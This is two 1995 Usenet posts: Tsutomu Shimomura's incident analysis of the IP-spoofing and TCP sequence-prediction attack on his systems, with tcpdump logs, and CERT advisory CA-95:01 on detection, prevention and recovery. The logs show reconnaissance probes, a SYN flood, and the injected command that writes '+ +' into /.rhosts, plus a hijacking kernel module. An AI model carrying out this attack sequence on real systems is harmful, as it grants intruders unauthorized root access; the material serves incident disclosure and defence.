From: tsutomu@ariel.sdsc.edu (Tsutomu Shimomura) Subject: Technical details of the attack described by Markoff in NYT Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security Message-ID: <3g5gkl$5j1@ariel.sdsc.edu> Date: 25 Jan 1995 04:36:37 -0800 Organization: San Diego Supercomputer Center Greetings from Lake Tahoe. There seems to be a lot of confusion about the IP address spoofing and connection hijacking attacks described by John Markoff's 1/23/95 NYT article, and CERT advisory CA-95:01. Here are some technical details from my presentation on 1/11/95 at CMAD 3 in Sonoma, California. Hopefully this will help clear up any misunderstandings as to the nature of these attacks. Two different attack mechanisms were used. IP source address spoofing and TCP sequence number prediction were used to gain initial access to a diskless workstation being used mostly as an X terminal. After root access had been obtained, an existing connection to another system was hijacked by means of a loadable kernel STREAMS module. Included in this note are excerpts from actual tcpdump packet logs generated by this attack. In the interest of clarity (and brevity!), some of the data has been omitted. I highly recommend Steve Bellovin's paper and posts on IP spoofing, as he describes in more detail the semantics of the TCP handshake, as well as making some suggestions on how to defeat this attack. My configuration is as follows: server = a SPARCstation running Solaris 1 serving my "X terminal" x-terminal = a diskless SPARCstation running Solaris 1 target = the apparent primary target of the attack ----- The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The first probes were from toad.com (this info derived from packet logs): 14:09:32 toad.com# finger -l @target 14:10:21 toad.com# finger -l @server 14:10:50 toad.com# finger -l root@server 14:11:07 toad.com# finger -l @x-terminal 14:11:38 toad.com# showmount -e x-terminal 14:11:49 toad.com# rpcinfo -p x-terminal 14:12:05 toad.com# finger -l root@x-terminal The apparent purpose of these probes was to determine if there might be some kind of trust relationship amongst these systems which could be exploited with an IP spoofing attack. The source port numbers for the showmount and rpcinfo indicate that the attacker is root on toad.com. ----- About six minutes later, we see a flurry of TCP SYNs (initial connection requests) from 130.92.6.97 to port 513 (login) on server. The purpose of these SYNs is to fill the connection queue for port 513 on server with "half-open" connections so it will not respond to any new connection requests. In particular, it will not generate TCP RSTs in response to unexpected SYN-ACKs. As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login can now be safely used as the putative source for an address spoofing attack on the UNIX "r-services" (rsh, rlogin). 130.92.6.97 appears to be a random (forged) unused address (one that will not generate any response to packets sent to it): 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096 14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096 14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096 14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096 14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096 14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096 14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096 14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096 14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096 14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096 14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096 14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096 14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096 14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096 14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096 14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096 14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096 14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096 server generated SYN-ACKs for the first eight SYN requests before the connection queue filled up. server will periodically retransmit these SYN-ACKs as there is nothing to ACK them. ----- We now see 20 connection attempts from apollo.it.luc.edu to x-terminal.shell. The purpose of these attempts is to determine the behavior of x-terminal's TCP sequence number generator. Note that the initial sequence numbers increment by one for each connection, indicating that the SYN packets are *not* being generated by the system's TCP implementation. This results in RSTs conveniently being generated in response to each unexpected SYN-ACK, so the connection queue on x-terminal does not fill up: 14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0 14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0 Note that each SYN-ACK packet sent by x-terminal has an initial sequence number which is 128,000 greater than the previous one. ----- We now see a forged SYN (connection request), allegedly from server.login to x-terminal.shell. The assumption is that x-terminal probably trusts server, so x-terminal will do whatever server (or anything masquerading as server) asks. x-terminal then replies to server with a SYN-ACK, which must be ACK'd in order for the connection to be opened. As server is ignoring packets sent to server.login, the ACK must be forged as well. Normally, the sequence number from the SYN-ACK is required in order to generate a valid ACK. However, the attacker is able to predict the sequence number contained in the SYN-ACK based on the known behavior of x-terminal's TCP sequence number generator, and is thus able to ACK the SYN-ACK without seeing it: 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096 ----- The spoofing machine now has a one-way connection to x-terminal.shell which appears to be from server.login. It can maintain the connection and send data provided that it can properly ACK any data sent by x-terminal. It sends the following: 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 which corresponds to: 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts" Total elapsed time since the first spoofed packet: < 16 seconds ----- The spoofed connection is now shut down: 14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096 14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096 14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096 ----- We now see RSTs to reset the "half-open" connections and empty the connection queue for server.login: 14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096 14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096 14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096 14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096 14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096 14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096 14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096 14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096 14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096 14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096 14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096 14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096 14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096 14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096 14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096 14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096 14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096 14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096 14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096 14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096 14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096 14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096 14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096 14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096 14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096 14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096 14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096 14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096 14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096 server.login can again accept connections. ----- After root access had been gained via IP address spoofing, a kernel module named "tap-2.01" was compiled and installed on x-terminal: x-terminal% modstat Id Type Loadaddr Size B-major C-major Sysnum Mod Name 1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha x-terminal% ls -l /dev/tap crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap This appears to be a kernel STREAMS module which can be pushed onto an existing STREAMS stack and used to take control of a tty device. It was used to take control of an already authenticated login session to target at about 14:51 PST. ----- Of course, no attack would be complete without the personal touch. Check out: ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dee.au ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au These are in Sun audio file format, 8-bit u-law, 8 khz sample rate. --- Tsutomu Shimomura tsutomu@ucsd.edu +1 619 534 5050 University of California at San Diego/San Diego Supercomputer Center, USA -- From: ecd@why.cert.org (Edward DeHart) Subject: IP Spoofing Attacks and Hijacked Terminal Connections Newsgroups: comp.security.announce Message-ID: <1995Jan23.160037.8498@sei.cmu.edu> Date: Mon, 23 Jan 1995 16:00:37 EST Organization: CERT Coordination Center ============================================================================= CA-95:01 CERT Advisory January 23, 1995 IP Spoofing Attacks and Hijacked Terminal Connections ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of attacks in which intruders create packets with spoofed source IP addresses. These attacks exploit applications that use authentication based on IP addresses. This exploitation leads to user and possibly root access on the targeted system. Note that this attack does not involve source routing. Recommended solutions are described in Section III below. In the current attack pattern, intruders may dynamically modify the kernel of a Sun 4.1.X system once root access is attained. In this attack, which is separate from the IP spoofing attack, intruders use a tool to take control of any open terminal or login session from users on the system. Note that although the tool is currently being used primarily on SunOS 4.1.x systems, the system features that make this attack possible are not unique to SunOS. As we receive additional information relating to this advisory, we will place it, along with any clarifications, in a CA-95:01.README file. CERT advisories and their associated README files are available by anonymous FTP from info.cert.org. We encourage you to check the README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description This description summarizes both the IP spoofing technique that can lead to root access on a system and the tool that intruders are using to take over open terminal and login connections after they get root access. We are currently seeing attacks in which intruders combine IP spoofing with use of the tool. However, these are two separate actions. Intruders can use IP spoofing to gain root access for any purpose; similarly, they can highjack terminal connections regardless of their method of gaining root access. IP spoofing To gain access, intruders create packets with spoofed source IP addresses. This exploits applications that use authentication based on IP addresses and leads to unauthorized user and possibly root access on the targeted system. It is possible to route packets through filtering-router firewalls if they are not configured to filter incoming packets whose source address is in the local domain. It is important to note that the described attack is possible even if no reply packets can reach the attacker. Examples of configurations that are potentially vulnerable include - routers to external networks that support multiple internal interfaces - routers with two interfaces that support subnetting on the internal network - proxy firewalls where the proxy applications use the source IP address for authentication The IP spoofing attacks we are currently seeing are similar to those described in two papers: 1) "Security Problems in the TCP/IP Protocol Suite" by Steve Bellovin, published in _Computer Communication Review_ vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD Unix TCP/IP Software" by Robert T. Morris. Both papers are available by anonymous FTP from ftp.research.att.com:/dist/internet_security Bellovin paper: ipext.ps.Z Morris paper: 117.ps.Z Services that are vulnerable to the IP spoofing attack include SunRPC & NFS BSD UNIX "r" commands anything wrapped by the tcp daemon wrappers - site dependent; check your configuration X windows other applications that use source IP addresses for authentication Hijacking tool Once the intruders have root access on a system, they can use a tool to dynamically modify the UNIX kernel. This modification allows them to hijack existing terminal and login connections from any user on the system. In taking over the existing connections, intruders can bypass one-time passwords and other strong authentication schemes by tapping the connection after the authentication is complete. For example, a legitimate user connects to a remote site through a login or terminal session; the intruder hijacks the connection after the user has completed the authentication to the remote location; the remote site is now compromised. (See Section I for examples of vulnerable configurations.) Currently, the tool is used primarily on SunOS 4.1.x systems. However, the system features that make this attack possible are not unique to SunOS. II. Impact Current intruder activity in spoofing source IP addresses can lead to unauthorized remote root access to systems behind a filtering-router firewall. After gaining root access and taking over existing terminal and login connections, intruders can gain access to remote hosts. III. Solutions A. Detection IP spoofing If you monitor packets using network-monitoring software such as netlog, look for a packet on your external interface that has both its source and destination IP addresses in your local domain. If you find one, you are currently under attack. Netlog is available by anonymous FTP from net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz MD5 checksum: 1dd62e7e96192456e8c75047c38e994b Another way to detect IP spoofing is to compare the process accounting logs between systems on your internal network. If the IP spoofing attack has succeeded on one of your systems, you may get a log entry on the victim machine showing a remote access; on the apparent source machine, there will be no corresponding entry for initiating that remote access. Hijacking tool When the intruder attaches to an existing terminal or login connection, users may detect unusual activity, such as commands appearing on their terminal that they did not type or a blank window that will no longer respond to their commands. Encourage your users to inform you of any such activity. In addition, pay particular attention to connections that have been idle for a long time. Once the attack is completed, it is difficult to detect. However, the intruders may leave remnants of their tools. For example, you may find a kernel streams module designed to tap into existing TCP connections. B. Prevention IP spoofing The best method of preventing the IP spoofing problem is to install a filtering router that restricts the input to your external interface (known as an input filter) by not allowing a packet through if it has a source address from your internal network. In addition, you should filter outgoing packets that have a source address different from your internal network in order to prevent a source IP spoofing attack originating from your site. The following vendors have reported support for this feature: Bay Networks/Wellfleet routers, version 5 and later Cabletron - LAN Secure Cisco - RIS software all releases of version 9.21 and later Livingston - all versions If you need more information about your router or about firewalls, please contact your vendor directly. If your vendor's router does not support filtering on the inbound side of the interface or if there will be a delay in incorporating the feature into your system, you may filter the spoofed IP packets by using a second router between your external interface and your outside connection. Configure this router to block, on the outgoing interface connected to your original router, all packets that have a source address in your internal network. For this purpose, you can use a filtering router or a UNIX system with two interfaces that supports packet filtering. NOTE: Disabling source routing at the router does not protect you from this attack, but it is still good security practice to do so. Hijacking tool There is no specific way to prevent use of the tool other than preventing intruders from gaining root access in the first place. If you have experienced a root compromise, see Section C for general instructions on how to recover. C. Recovery from a UNIX root compromise 1. Disconnect from the network or operate the system in single-user mode during the recovery. This will keep users and intruders from accessing the system. 2. Verify system binaries and configuration files against the vendor's media (do not rely on timestamp information to provide an indication of modification). Do not trust any verification tool such as cmp(1) located on the compromised system as it, too, may have been modified by the intruder. In addition, do not trust the results of the standard UNIX sum(1) program as we have seen intruders modify system files in such a way that the checksums remain the same. Replace any modified files from the vendor's media, not from backups. -- or -- Reload your system from the vendor's media. 3. Search the system for new or modified setuid root files. find / -user root -perm -4000 -print If you are using NFS or AFS file systems, use ncheck to search the local file systems. ncheck -s /dev/sd0a 4. Change the password on all accounts. 5. Don't trust your backups for reloading any file used by root. You do not want to re-introduce files altered by an intruder. --------------------------------------------------------------------------- The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith Bostic, Bill Cheswick, Mike Karels, and Tsutomu Shimomura for contributing to our understanding of these problems and their solutions. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the e-mail be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). 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